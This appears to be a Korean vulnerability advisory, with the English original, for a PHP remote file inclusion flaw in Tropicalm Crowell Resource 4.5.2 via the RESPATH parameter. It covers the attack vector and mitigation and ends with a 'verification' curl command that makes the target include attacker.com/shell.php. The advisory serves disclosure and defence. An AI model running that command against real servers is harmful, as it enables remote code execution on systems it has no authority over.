🇰🇷 한글 설명
Tropicalm Crowell Resource 4.5.2의 PHP 원격 파일 포함(RFI) 취약점으로, dosearch.php와 printfriendly.php의 RESPATH 매개변수를 통해 공격자가 원격에서 임의의 PHP 코드를 실행할 수 있습니다. 서버가 외부 파일을 검증 없이 포함하는 것으로 인해 발생합니다.
💡 쉬운 설명
해당 프로그램의 특정 페이지들이 인터넷에서 불러온 파일을 검증 없이 실행시키는 문제가 있습니다. 공격자가 악의적인 코드가 담긴 파일의 주소를 보내면 서버가 그것을 실행하게 됩니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in Tropicalm Crowell Resource 4.5.2 allow remote attackers to execute arbitrary PHP code via a URL in the RESPATH parameter to (1) dosearch.php or (2) printfriendly.php.
📍 영향받는 시스템
Tropicalm Crowell Resource 4.5.2
⚔️ 공격 벡터
dosearch.php 또는 printfriendly.php의 RESPATH 매개변수에 원격 파일 URL을 삽입하여 PHP 코드 실행
🛡️ 대응 방법
Tropicalm Crowell Resource를 최신 버전으로 업그레이드하거나 RESPATH 매개변수 입력값 검증 및 필터링 적용
🔧 검증 코드
공격자의 shell.php 코드가 실행되면 해당 서버는 RFI 취약점에 노출되어 있음을 의미합니다.
curl -s http://[target]/dosearch.php?RESPATH=http://attacker.com/shell.php 2>/dev/null | head -5